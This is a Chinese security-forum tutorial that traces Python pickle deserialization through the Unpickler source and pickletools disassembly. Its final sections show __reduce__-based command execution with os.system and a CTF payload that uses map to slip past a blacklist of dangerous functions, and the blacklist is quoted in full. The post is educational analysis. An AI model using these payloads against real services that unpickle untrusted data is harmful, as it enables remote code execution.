标题：[原创] 浅尝Pickle反序列化流程及reduce利用
作者：栀花谢了春红
时间：2024-10-22 22:23:29
链接：https://bbs.kanxue.com/thread-284061.htm

python的反序列化

秋阴不散霜飞晚，留得枯荷听雨声

对象被实例化之后如何存储？答：序列化
对象被序列化为字符串，字符串被反序列化为对象。这个转化得过程就是序列化，这个过程是如何进行，且随笔者一同探讨python的反序列化库pickle。

e = [[1, 2], 3, (4, 5), "rainy", {"age": 20, "birthday": "1027"}]  
# 文件读写
pickle.dump(e, open("e.pkl", "wb"))  
print(pickle.load(open("e.pkl", "rb")))  
# 字符串读写
serialize = pickle.dumps(e)  
print(serialize)  
deserialize = pickle.loads(serialize)  
print(deserialize)

对于自定义类进行序列化时：

类属性：所有实例共享同一组属性，序列化不会包含这些类属性。

# 类属性 rainy, 所有实例共享，序列化不会包含整个类属性
class Rainy:
    name = "rainy"
 
rainyx = Rainy()
print(pickle.dumps(rainyx))
# b'\x80\x04\x95\x19\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x05Rainy\x94\x93\x94)\x81\x94.'

实例属性：每个实例拥有自己独立的属性，序列化包含这些实例属性。

class Rainy:
    def __init__(self, name: str):
        self.name = "rainy"
 
rainyx = Rainy("rainy")
print(pickle.dumps(rainyx))
# b'\x80\x04\x95,\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x05Rainy\x94\x93\x94)\x81\x94}\x94\x8c\x04name\x94\x8c\x05rainy\x94sb.'

通过对比不难看出，第一种写法中，pickle 实际上没有序列化任何数据，反序列化后依然依赖类属性。第二种写法中，pickle 序列化并保存实例属性name，反序列化时可以正确恢复实例的状态。

细雨湿衣看不见，闲花落地听无声

首先，先简单说明函数参数，根据官方的解释如下：

dump：将对象obj的序列化表示写入到已打开的文件对象file中。这相当于调用Pickler(file, protocol).dump(obj)，但可能更高效。

可选参数protocol：告诉pickler使用给定的协议；支持的协议有0、1、2、3、4和5，默认协议为4。它是在Python 3.4中引入的，并且与之前的版本不兼容。指定负数的协议版本会选取最高支持的协议版本。使用的协议越高，读取生成的pickle数据所需的Python版本越新。
file参数：必须有一个接受单个字节参数的write()方法。因此它可以是一个以二进制模式打开的文件对象、一个io.BytesIO实例或任何符合此接口的自定义对象。
fix_imports：如果fix_imports为True且协议小于3，pickle将尝试将新的Python 3名称映射到Python 2中使用的旧模块名称，以便pickle数据流可以用Python 2读取。
buffer_callback为None（默认），则缓冲区视图将作为pickle流的一部分序列化到file中。如果buffer_callback不是None且protocol为None或小于5，则会出错。

dumps：返回对象的序列化表示形式为字节对象。其他参数同上
load：从文件中存储的pickle数据读取并返回一个对象。这相当于调用Unpickler(file).load()，但可能更高效。pickle的协议版本会被自动检测，因此不需要提供协议参数。超过被pickle对象表示部分的字节将被忽略。

file参数必须有两个方法：一个是接受整数参数的read()方法，另一个是不需要参数的readline()方法。两者都应返回字节。因此file可以是以读取模式打开的二进制文件对象、一个io.BytesIO对象或任何符合此接口的自定义对象。
可选的关键字参数fix_imports、encoding和errors用于控制对由Python 2生成的pickle流的兼容性支持。如果fix_imports为True，pickle将尝试将旧的Python 2名称映射到Python 3中使用的新名称。encoding和errors告诉pickle如何解码由Python 2 pickled的8位字符串实例；它们默认分别为'ASCII'和'strict'。encoding可以设置为'bytes'来把这些8位字符串实例作为字节对象读取。

loads：从给定的pickle数据读取并返回一个对象。

pickle反序列化源码分析：

def _dump(obj, file, protocol=None, *, fix_imports=True, buffer_callback=None):
    _Pickler(file, protocol, fix_imports=fix_imports,
             buffer_callback=buffer_callback).dump(obj)
 
def _dumps(obj, protocol=None, *, fix_imports=True, buffer_callback=None):
    f = io.BytesIO()
    _Pickler(f, protocol, fix_imports=fix_imports,
             buffer_callback=buffer_callback).dump(obj)
    res = f.getvalue()
    assert isinstance(res, bytes_types)
    return res
 
def _load(file, *, fix_imports=True, encoding="ASCII", errors="strict",
          buffers=None):
    return _Unpickler(file, fix_imports=fix_imports, buffers=buffers,
                     encoding=encoding, errors=errors).load()
 
def _loads(s, /, *, fix_imports=True, encoding="ASCII", errors="strict",
           buffers=None):
    if isinstance(s, str):
        raise TypeError("Can't load pickle from unicode string")
    file = io.BytesIO(s)
    return _Unpickler(file, fix_imports=fix_imports, buffers=buffers,
                      encoding=encoding, errors=errors).load()

在了解了基本参数后，再看函数定义并不难理解，_loads/_dumps与_load/_dump区别在于待反序列化的对象或序列化后的对象的表示形式是不是字节对象。其底层实现是基于_Unpickler/_Pickler类调用load()/dump(obj)方法。

人生若只如初见，何事秋风悲画扇

_Unpickler类源码分析：

class _Unpickler:  
   
    def __init__(self, file, *, fix_imports=True,  
                         encoding="ASCII", errors="strict", buffers=None):
        self._buffers = iter(buffers) if buffers is not None else None 
        self._file_readline = file.readline  
        self._file_read = file.read
        # 以上参数前面以及提到，不在解释  
        self.memo = {}  # 初始化一个字典memo, 用于缓存已解码的对象
        # 以下为编码, 错误处理、初始化协议版本号，导入修复标志。
        self.encoding = encoding  
        self.errors = errors  
        self.proto = 0 
        self.fix_imports = fix_imports         

前面提到，调用load相当于调用Unpickler(file).load()，所以分析load源码：

def load(self):
    """Read a pickled object representation from the open file.
 
    Return the reconstituted object hierarchy specified in the file.
    """
    # Check whether Unpickler was initialized correctly. This is
    # only needed to mimic the behavior of _pickle.Unpickler.dump().
    if not hasattr(self, "_file_read"):
        raise UnpicklingError("Unpickler.__init__() was not called by "
                              "%s.__init__()" % (self.__class__.__name__,))
    # 1. 创建一个_Unframer对象，并将read, readinto, readline方法分别设置为_Unframer的方法。_Unframer是一个内部类，用于处理从文件中读取字节流的工作，提供了读取和解析字节流的方法。
    self._unframer = _Unframer(self._file_read, self._file_readline)
    self.read = self._unframer.read
    self.readinto = self._unframer.readinto
    self.readline = self._unframer.readline
    # 2. 元数据栈，跟踪对象的层次结构
    self.metastack = []
    # 3. 用于存放解构后的对象
    self.stack = []
    # 4. 是对stack.append的引用，用于快速向栈中添加对象。
    self.append = self.stack.append
    # 5. 序列化协议的版本，默认设置为 0。
    self.proto = 0
    # 6. 将读取方法self.read和操作的dispatch字典（存储字节码与操作函数的映射）赋值为局部变量，方便后续高效调用。
    read = self.read
    dispatch = self.dispatch
    # dispatch = {} 为定义的一个类属性
    # 7. 持续从文件中读取字节
    try:
        while True:
            # 7.1 每次读取一个字节（代表一个操作指令）
            key = read(1)
            # 7.2 如果没有读到就抛出EOFError
            if not key:
                raise EOFError
            # 7.3 断言读取的字节是字节类型，以确保安全
            assert isinstance(key, bytes_types)
            # 根据读取的字节 `key[0]` 在 `dispatch` 字典中找到对应的处理函数并调用它，这个处理函数会根据读取的操作对反序列化过程进行下一步操作。
            dispatch[key[0]](self)
    except _Stop as stopinst:
        # 反序列化过程中会抛出_Stop异常，这个异常用于标识序列化对象的结束。捕获该异常后，返回stopinst.value，即解构后的对象。
        return stopinst.value

通过阅读_Unpickler类以及load方法，我们可以看出，_Unpickler维护了两个内存区域：

self.memo = {} # 初始化一个字典memo, 用于缓存已解码的对象
self.stack = [] # 用于存放解构后的对象
# sppend属于stack，指向栈顶
self.append = self.stack.append # 是对stack.append的引用，用于快速向栈中添加对象

经过以上分析，我们可以确定，pickle每次会读取一个字节，并执行dispatch[key[0]](slef)，所以我们为了方便分析，使用pickletools来进行调试

莫等闲，白了少年头，空悲切

pickletools是python自带的pickle调试器，有三个功能：反汇编一个已经被打包的字符串、优化一个已经被打包的字符串、返回一个迭代器来供程序使用。

class Rainy:
    def __init__(self, name: str):
        self.name = "rainy"
 
 
rainyx = Rainy("rainy")
serialize = pickle.dumps(rainyx)
# serialize = pickletools.optimize(serialize)
pickletools.dis(serialize)

执行结果

\x80 PROTO      4
 2: \x95 FRAME      44
\x8c SHORT_BINUNICODE '__main__'
\x94 MEMOIZE    (as 0)
\x8c SHORT_BINUNICODE 'Rainy'
\x94 MEMOIZE    (as 1)
\x93 STACK_GLOBAL
\x94 MEMOIZE    (as 2)
)    EMPTY_TUPLE
\x81 NEWOBJ
\x94 MEMOIZE    (as 3)
}    EMPTY_DICT
\x94 MEMOIZE    (as 4)
\x8c SHORT_BINUNICODE 'name'
\x94 MEMOIZE    (as 5)
\x8c SHORT_BINUNICODE 'rainy'
\x94 MEMOIZE    (as 6)
s    SETITEM
b    BUILD
.    STOP

以上为反汇编功能：
注释掉serialize = pickletools.optimize(serialize)会得到以下结果

\x80 PROTO      4
 2: \x95 FRAME      37
\x8c SHORT_BINUNICODE '__main__'
\x8c SHORT_BINUNICODE 'Rainy'
\x93 STACK_GLOBAL
)    EMPTY_TUPLE
\x81 NEWOBJ
}    EMPTY_DICT
\x8c SHORT_BINUNICODE 'name'
\x8c SHORT_BINUNICODE 'rainy'
s    SETITEM
b    BUILD
.    STOP

通过对比，显然，用于向memo存储数据的MEMOIZE被优化掉了，所以optimize的优化其实就是认为不必向memo存储已解码的数据。

利用pickletools，我们能很方便地看清楚每条语句的作用、检验我们手动构造出的字符串是否合法……总之，是我们调试的利器。现在手上有了工具，我们开始研究这个字符串是如何被pickle解读的吧。

画堂人雨蒙蒙，屏山半掩余香袅

pickle序列化协议向前兼容，0，1版本可以decode，后续版本加入不可打印字符串。
下面对pickle反编译后的内容进行分析：
示例代码：

class Rainy:  
    def __init__(self, name: str):  
        self.name = "rainy" 
        self.pos = [(1, 0, 2, 7), (1, 1, 2, 5)]
 
 
rainyx = Rainy("rainy")  
serialize = pickle.dumps(rainyx, protocol=2)  
serialize = pickletools.optimize(serialize)  
pickletools.dis(serialize)

以下为反编译的代码，后续根据以下结果进行分析：

\x80 PROTO      2
 2: c    GLOBAL     '__main__ Rainy'
)    EMPTY_TUPLE
\x81 NEWOBJ
}    EMPTY_DICT
(    MARK
X        BINUNICODE 'name'
X        BINUNICODE 'rainy'
X        BINUNICODE 'pos'
]        EMPTY_LIST
(        MARK
(            MARK
K                BININT1    1
K                BININT1    0
K                BININT1    2
K                BININT1    7
t                TUPLE      (MARK at 51)
(            MARK
K                BININT1    1
K                BININT1    1
K                BININT1    2
K                BININT1    5
t                TUPLE      (MARK at 61)
e            APPENDS    (MARK at 50)
u        SETITEMS   (MARK at 21)
b    BUILD
.    STOP

又前面的分析我们可以知道，pickle的流程在通过while循环不断读入一个字节的key进行操作，完整的代码在前面load中

...
try:  
    while True:  
        key = read(1)  
        if not key:  
            raise EOFError  
        assert isinstance(key, bytes_types)  
        dispatch[key[0]](self)  
except _Stop as stopinst:  
    return stopinst.value
...

所以反序列化的流程应该从第一个key开始，并且执行语句为

1	`dispatch[key[0]](self)`

PROTO：

1	`0: \x80 PROTO` `4`

0：这一列是当前字节位置。字节数。
\x80 PROTO：协议版本指示器。对于协议 2 及以上，pickle 必须以此操作码开头。参数是协议版本，范围为 int(2, 256)，单字节范围。

# 此时key=PROTO
# dispatch[key[0]](self) => dispatch[PROTO[0]] = load_proto(self)
def load_proto(self):  
    proto = self.read(1)[0]
    # HIGHEST_PROTOCOL = 5， 协议版本要在0到5  
    if not 0 <= proto <= HIGHEST_PROTOCOL:  
        raise ValueError("unsupported pickle protocol: %d" % proto)  
    self.proto = proto  
dispatch[PROTO[0]] = load_proto

此时第一个key执行结束，继续读取下一个key。
2. GLOBAL

1	`2: c GLOBAL` `'__main__ Rainy'`

2：当前为第三个字节，前两个字节是前面分析的，PROTO指令一个字节，操作数一个字节。
GLOBAL：全局对象入栈；将操作码后面有两个以换行符结尾的字符串。第一个用作模块名称，第二个用作类名称。通过self.find_class(module, class) 查找类并将返回的类入栈。
__main__ Rainy：从__main__\x00共9字节，作为模块名称；Rainy\x00共6字节做为类名称；所以下一个字节从3+15=18字节开始。

# key = GLOBAL
def load_global(self):  
    # 读取一行作为模块名，到这里就不难理解，为什么文章开头要求必须实现readline方法。
    module = self.readline()[:-1].decode("utf-8")  
    # 读取一行作为类名
    name = self.readline()[:-1].decode("utf-8")  
    # 通过self.find_class()，因此反序列化子类可以覆盖这种形式的查找——即通过子类化（继承并重写）self.find_class()方法，来自定义类的查找方式。
    klass = self.find_class(module, name)  
    self.append(klass)  
dispatch[GLOBAL[0]] = load_global

EMPTY_TUPLE

1	`18: ) EMPTY_TUPLE`

此时key=EMPTY_TUPLE

def load_empty_tuple(self):
    # 前面代码提到, self.append为self.append = self.stack.append
    # 所以这里就是往站内压入一个空元组
    self.append(())
dispatch[EMPTY_TUPLE[0]] = load_empty_tuple

NEWOBJ：构建一个对象实例。

1	`19: \x81 NEWOBJ`

此时key=NEWOBJ

def load_newobj(self):
    # 从栈顶取出一个值作为创建对象的初始化参数，也就是前面append的数组
    args = self.stack.pop()
    # 取出前面压入的类
    cls = self.stack.pop()
    # 实例化对象
    obj = cls.__new__(cls, *args)
    # 将实例化的对象入栈
    self.append(obj)
dispatch[NEWOBJ[0]] = load_newobj

EMPTY_DICT：

1	`20: } EMPTY_DICT`

此时key=EMPTY_DICT

def load_empty_dictionary(self):
    self.append({})
dispatch[EMPTY_DICT[0]] = load_empty_dictionary

EMPTY_DICT会往站内压入一个{}空对象。
6. MARK：将标记对象（markobject）入栈
MARK通过分层处理类对象的属性值

def load_mark(self):
    # 前面提到metastack是一个元数据栈，用于跟踪对象的层次结构
    # 这个元数据栈，将当前的栈加入到元数据栈
    # 这里不妨就取名为第一层吧
    self.metastack.append(self.stack)
    # 清空栈，用于处理下一层，不如就取名为第二层
    self.stack = []
    # 还是拿到栈顶
    self.append = self.stack.append
dispatch[MARK[0]] = load_mark

执行的操作也很简单，将当前栈压入元数据栈，然后开辟新栈
7. BINUNICODE：Unidode字符串对象入栈

def load_binunicode(self):
    # < 小端序， I 标识四字节无符号整数
    # '<I'标识读取四个字节，以小端序读取
    # 这里为读取四个字节小端无符号整数作为读取字符串的长度。
    len, = unpack('<I', self.read(4))
    if len > maxsize:
        raise UnpicklingError("BINUNICODE exceeds system's maximum size "
                              "of %d bytes" % maxsize)
    # 将当前读取的字符串入栈
    self.append(str(self.read(len), 'utf-8', 'surrogatepass'))
dispatch[BINUNICODE[0]] = load_binunicode

BINUNICODE操作数就是读取给定长度的字节，以Unicode解码。BINUNICODE默认给定长度为4字节无符号数，BINUNICODE8，为长度8字节无符号数。
这里顺便说一下BINBYTES，BINBYTES8，BININT，BININT1，BININT2等

# BINBYTES,读取字节，默认为四字节小端序整数
def load_binbytes(self):
    # BINBYTES8指示read(8)字节而已
    len, = unpack('<I', self.read(4))  
    if len > maxsize:  
        raise UnpicklingError("BINBYTES exceeds system's maximum size " 
                              "of %d bytes" % maxsize)  
    self.append(self.read(len))  
dispatch[BINBYTES[0]] = load_binbytes
 
# BININT，读取小端序，有符号整数。
def load_binint(self):  
    self.append(unpack('<i', self.read(4))[0])  
dispatch[BININT[0]] = load_binint
 
# BININT1 
def load_binint1(self):  
    self.append(self.read(1)[0])  
dispatch[BININT1[0]] = load_binint1  
# BININT2
def load_binint2(self):  
    # H表示两字节无符号短整形
    self.append(unpack('<H', self.read(2))[0])  
dispatch[BININT2[0]] = load_binint2

了解几个例子之后，应该对BIN这系列操作码有一定的认识。并对pickle的操作也有一定的认识
8. TUPLE

(    MARK
X        BINUNICODE 'name'
X        BINUNICODE 'rainy'
X        BINUNICODE 'pos'
]        EMPTY_LIST
(        MARK
(            MARK
K                BININT1    1
K                BININT1    0
K                BININT1    2
K                BININT1    7
t                TUPLE      (MARK at 51)

接上一个mark，我们大概可以推断出，在完第一个MARK到第二个MARK前，此时元数据栈metastack应该为

1 2	`metastack` `=` `[[<__main__.Rainy` `object` `at` `0x000001A6E21B5CD0>, {}]]` `stack` `=` `['name',` `'rainy',` `'pos', []]`

这是会进行下一个MARK，然后再MARK，并存入四个BININT1。
此时的元数据栈及栈情况

1 2	`metastack = [[<__main__.Rainy object at 0x0000014452766090>, {}], ['name',` `'rainy',` `'pos', []], []]` `stack = [1, 0, 2, 7]`

下面及该执行TUPLE操作
TUPLE会调用pop_mark函数，所以先查看pop_mask的操作

def pop_mark(self):
    // items为当前栈，也就是[1, 0, 2, 7]这个数据
    items = self.stack
    // 跳回上一层
    self.stack = self.metastack.pop()
    // 指向上一层的栈顶
    self.append = self.stack.append
    return items

pop_mark的操纵就是恢复上一层的状态，然后将本层处理的结果返回。继续回到TUPLE

def load_tuple(self):
    // 调用pop_mark()
    items = self.pop_mark()
    self.append(tuple(items))
dispatch[TUPLE[0]] = load_tuple

知道pop_mark的操纵，那么tuple的操作也就知道了，恢复上一次的状态，将本层的结果append进栈。其实结果就是MARK和最近的TUPLE构成一个元组，并入栈

# mark-tuple
(1, 0, 2, 7)
# mark-tuple
(1, 1, 2, 5)

两次mark-tuple后，

1	`stack` `=` `[(1,` `0,` `2,` `7), (1,` `1,` `2,` `5)]`

到这里是不是就可以盲猜一下APPEND的作用了？
9. APPENDS

def load_appends(self):
    # items = [(1, 0, 2, 7), (1, 1, 2, 5)]
    items = self.pop_mark()
    # stack = ['name', 'rainy', 'pos', []]
    # [-1]就是取出pos后面的[], 注意这里是python的引用
    # 对list_obj进行extend操作也会改变stack
    list_obj = self.stack[-1]
    # 这里尝试直接extend，如果不支持就老老实实遍历item然后append进去
    try:
        extend = list_obj.extend
    except AttributeError:
        pass
    else:
        extend(items)
        return
    # Even if the PEP 307 requires extend() and append() methods,
    # fall back on append() if the object has no extend() method
    # for backward compatibility.
    append = list_obj.append
    for item in items:
        append(item)
dispatch[APPENDS[0]] = load_appends

执行完成后，我们接着看一下此时的状态

1 2	`metastack` `=` `[[<__main__.Rainy` `object` `at` `0x000001A6E21B5CD0>, {}]]` `stack` `=` `['name',` `'rainy',` `'pos', [(1,` `0,` `2,` `7), (1,` `1,` `2,` `5)]]`

SETITES：将任意数量的键+值对添加到现有字典中。

def load_setitems(self):
    # ['name', 'rainy', 'pos', [(1, 0, 2, 7), (1, 1, 2, 5)]]
    items = self.pop_mark()
    # stack = [<__main__.Rainy object at 0x000001A6E21B5CD0>, {}]
    dict = self.stack[-1]
    for i in range(0, len(items), 2):
        dict[items[i]] = items[i + 1]
dispatch[SETITEMS[0]] = load_setitems

SETITEMS的操作就是，将栈上数据以键值对的形式读取字典
此时的状态应该是

1 2	`metastack` `=` `[]` `stack` `=` `[<__main__.Rainy` `object` `at` `0x000001A6E21B5CD0>, {'name':` `'rainy',` `'pos': [(1,` `0,` `2,` `7), (1,` `1,` `2,` `5)]}]`

胜利即在眼前
11. BUILD

def load_build(self):
    # stack = [<__main__.Rainy object at 0x000001A6E21B5CD0>, {'name': 'rainy', 'pos': [(1, 0, 2, 7), (1, 1, 2, 5)]}]
    stack = self.stack
    # state = {'name': 'rainy', 'pos': [(1, 0, 2, 7), (1, 1, 2, 5)]}
    state = stack.pop()
    inst = stack[-1]
    # 查看是否实现__setstate方法
    setstate = getattr(inst, "__setstate__", None)
    # 如果实现了，那就交给setstate方法来处理
    if setstate is not None:
        setstate(state)
        return
    slotstate = None
    # 这里设计__slots__(槽位属性)是内存优化用的。这里以及下面的if slotstate都与此有关。
    if isinstance(state, tuple) and len(state) == 2:
        state, slotstate = state
    # 如果state不为空
    if state:
        inst_dict = inst.__dict__
        # 通过sys.intern直接使用字符串地址，优化内存
        intern = sys.intern
        for k, v in state.items():
            if type(k) is str:
                # 在赋值时使用intern(k)可以保证键是唯一的内存引用，提高效率。
                inst_dict[intern(k)] = v
            else:
                # 非字符串正常引用。
                inst_dict[k] = v
    if slotstate:
        for k, v in slotstate.items():
            setattr(inst, k, v)
dispatch[BUILD[0]] = load_build

STOP

def load_stop(self):  
    # 此时栈内仅有一个实例化并恢复属性的对象
    value = self.stack.pop()  
    raise _Stop(value)  
dispatch[STOP[0]] = load_stop

流程分析结束，让我们看一下作者写的

1 2	`the STOP opcode, passing the` `object` `that` `is` `the result of unpickling` `# STOP 操作码，传递的是反序列化结果的对象!`

花开花落花无悔，缘来缘去缘如水

反序列化常见的利用多是__reduce__，这个函数的作用是什么？那不妨来分析一下序列化是__reduce__起到了什么作用。前面提到dumps本质调用的是Pickler(file, protocol).dump(obj)，那就分析一下dump的执行流。
分析之前，不妨先分析一下Pickler的类属性，及一些初始化。

# 如果不指定协议版本，则使用默认版本。
# DEFAULT_PROTOCOL = 4
if protocol is None:
    protocol = DEFAULT_PROTOCOL
# 下面确保协议版本在0-5
if protocol < 0:
    protocol = HIGHEST_PROTOCOL
elif not 0 <= protocol <= HIGHEST_PROTOCOL:
    raise ValueError("pickle protocol must be <= %d" % HIGHEST_PROTOCOL)
# 协议版本5才引入buffer_callback
if buffer_callback is not None and protocol < 5:
    raise ValueError("buffer_callback needs protocol >= 5")
self._buffer_callback = buffer_callback
# 这里需要file可写
try:
    self._file_write = file.write
except AttributeError:
    raise TypeError("file must have a 'write' attribute")
# framer主要是io操作
self.framer = _Framer(self._file_write)
self.write = self.framer.write
self._write_large_bytes = self.framer.write_large_bytes
self.memo = {}
self.proto = int(protocol)
self.bin = protocol >= 1
self.fast = 0
self.fix_imports = fix_imports and protocol < 3

下面开始分析dump

def dump(self, obj):
    """Write a pickled representation of obj to the open file."""
    # Check whether Pickler was initialized correctly. This is
    # only needed to mimic the behavior of _pickle.Pickler.dump().
    # 这里可以理解为什么需要可二进制写
    if not hasattr(self, "_file_write"):
        raise PicklingError("Pickler.__init__() was not called by "
                            "%s.__init__()" % (self.__class__.__name__,))
    # 根据协议版本不同，会有额外处理操作
    # 此时可以理解，为什么版本2会写入版本号
    if self.proto >= 2:
        self.write(PROTO + pack("<B", self.proto))
    if self.proto >= 4:
        self.framer.start_framing()
    # 实际上的序列化时save()方法。
    self.save(obj)
    # 这个是文件写入，完成的操作码。
    self.write(STOP)
    self.framer.end_framing()

下面我们分析save()的流程：

def save(self, obj, save_persistent_id=True):
    # 将当前帧数据写入
    self.framer.commit_frame()
 
    # Check for persistent id (defined by a subclass)
    pid = self.persistent_id(obj)
    if pid is not None and save_persistent_id:
        self.save_pers(pid)
        return
 
    # Check the memo, 如果对象已经被序列化过，则直接从缓存读取即可
    x = self.memo.get(id(obj))
    if x is not None:
        self.write(self.get(x[0]))
        return
 
    # 这地方代码前面基本上提到了
    rv = NotImplemented
    reduce = getattr(self, "reducer_override", None)
    if reduce is not None:
        rv = reduce(obj)
 
    if rv is NotImplemented:
        # Check the type dispatch table
        t = type(obj)
        f = self.dispatch.get(t)
        if f is not None:
            f(self, obj)  # Call unbound method with explicit self
            return
 
        # Check private dispatch table if any, or else
        # copyreg.dispatch_table
        reduce = getattr(self, 'dispatch_table', dispatch_table).get(t)
        if reduce is not None:
            rv = reduce(obj)
        else:
            # Check for a class with a custom metaclass; treat as regular
            # class
            if issubclass(t, type):
                self.save_global(obj)
                return
 
            # Check for a __reduce_ex__ method, fall back to __reduce__
            # 如果定义了__reduce__，那么就调用自己的序列化方法
            # 这里可以看出__reduce_ex在__reduce__基础上，通过协议来调整序列方法。
            reduce = getattr(obj, "__reduce_ex__", None)
            if reduce is not None:
                rv = reduce(self.proto)
            else:
                # 调用早期序列化__reduce__
                reduce = getattr(obj, "__reduce__", None)
                if reduce is not None:
                    rv = reduce()
                else:
                    raise PicklingError("Can't pickle %r object: %r" %
                                        (t.__name__, obj))
 
    # Check for string returned by reduce(), meaning "save as global"
    # 执行完自定义的reduce确定是字符串实例，那就直接写入并返回，不再执行后续代码。但是我们如果return (os.system, ('dir', ))很明显是返回的元组
    if isinstance(rv, str):
        self.save_global(obj, rv)
        return
 
    # Assert that reduce() returned a tuple
    if not isinstance(rv, tuple):
        raise PicklingError("%s must return string or tuple" % reduce)
 
    # Assert that it returned an appropriately sized tuple
    l = len(rv)
    if not (2 <= l <= 6):
        raise PicklingError("Tuple returned by %s must have "
                            "two to six elements" % reduce)
 
    # Save the reduce() output and finally memoize the object
    # 接下来进入save_reduce，并对rv解包赋值，也就变成了*rv
    self.save_reduce(obj=obj, *rv)

接下来就是save_reduce

def save_reduce(self, func, args, state=None, listitems=None,
                dictitems=None, state_setter=None, *, obj=None):
    # This API is called by some subclasses
 
    if not isinstance(args, tuple):
        raise PicklingError("args from save_reduce() must be a tuple")
    if not callable(func):
        raise PicklingError("func from save_reduce() must be callable")
 
    save = self.save
    write = self.write
 
    func_name = getattr(func, "__name__", "")
    if self.proto >= 2 and func_name == "__newobj_ex__":
    ...
    elif self.proto >= 2 and func_name == "__newobj__":
    ...
    else:
        # 协议0执行以下三句
        save(func)
        save(args)
        write(REDUCE)

这就是带有__reduce__的dumps的流程，接下来看loads的

class Rainy():  
    def __init__(self, name: str):  
        self.name = "rainy" 
        self.pos = [(1, 0, 2, 7), (1, 1, 2, 5)]  
    def __reduce__(self):  
        return (os.system, ('dir', ))
 
 
rainyx = Rainy("rainy")  
serialize = pickle.dumps(rainyx)  
serialize = pickletools.optimize(serialize)  
print(pickletools.dis(serialize))  
pickle.loads(serialize)

接下来就是分析反序列化之后的内容

\x80 PROTO      4
 2: \x95 FRAME      21
\x8c SHORT_BINUNICODE 'nt'
\x8c SHORT_BINUNICODE 'system'
\x93 STACK_GLOBAL
\x8c SHORT_BINUNICODE 'dir'
\x85 TUPLE1
R    REDUCE
.    STOP

对于SHORT_BINUNICODE和SHORT_BINUNICODE应该能立马反应出来是压栈操作了。
接下来就是分析一下STACK_GLOBAL，

def load_stack_global(self):  
    name = self.stack.pop()  
    module = self.stack.pop()  
    if type(name) is not str or type(module) is not str:  
        raise UnpicklingError("STACK_GLOBAL requires str")  
    # 通过class找到类，不再赘述
    self.append(self.find_class(module, name))  
dispatch[STACK_GLOBAL[0]] = load_stack_global

再到执行TUPLE1时，dir作为元组入栈，最后就是REDUCE了

def load_reduce(self):  
    stack = self.stack
    # 从栈内取出数据，作为func的参数
    args = stack.pop()
    # 取出前面找到的system  
    func = stack[-1]  
    # 参数解包，执行函数并作为结果压栈？
    stack[-1] = func(*args) # system(“dir”)
dispatch[REDUCE[0]] = load_reduce

执行函数system("dir")，此时也就做到反序列化命令执行了

乱花渐欲迷人眼，浅草才能没马蹄

黑名单绕过

不禁止R指令码，但是对R执行的函数有黑名单限制。典型的例子是2018-XCTF-HITB-WEB : Python's-Revenge。给了好长好长一串黑名单：

black_type_list = [eval, execfile, compile, open, file, os.system, os.popen, os.popen2, os.popen3, os.popen4, os.fdopen, os.tmpfile, os.fchmod, os.fchown, os.open

, os.openpty, os.read, os.pipe, os.chdir, os.fchdir, os.chroot, os.chmod, os.chown, os.link, os.lchown, os.listdir, os.lstat, os.mkfifo, os.mknod, os.access, os.mkdir, os.makedirs, os.readlink, os.remove, os.removedirs, os.rename, os.renames, os.rmdir, os.tempnam, os.tmpnam, os.unlink, os.walk, os.execl, os.execle, os.execlp, os.execv, os.execve, os.dup, os.dup2, os.execvp, os.execvpe, os.fork, os.forkpty, os.kill, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe, os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe, pickle.load, pickle.loads, cPickle.load, cPickle.loads, subprocess.call, subprocess.check_call, subprocess.check_output, subprocess.Popen, commands.getstatusoutput, commands.getoutput, commands.getstatus, glob.glob, linecache.getline, shutil.copyfileobj, shutil.copyfile, shutil.copy, shutil.copy2, shutil.move, shutil.make_archive, dircache.listdir, dircache.opendir, io.

open

, popen2.popen2, popen2.popen3, popen2.popen4, timeit.timeit, timeit.repeat, sys.call_tracing, code.interact, code.compile_command, codeop.compile_command, pty.spawn, posixfile.

open, posixfile.fileopen]

大可不必，如此羞辱我。platform.popen()不在黑名单内，以下是预期解

class Exploit(object):
    def __reduce__(self):
     return map,(os.system,["ls"])

其中，map的第一个参数作为函数，第二个参数作为前面函数的参数。
参考文章：
从零开始python反序列化攻击：pickle原理解析 & 不用reduce的RCE姿势
 OpCodes*Pickle,ji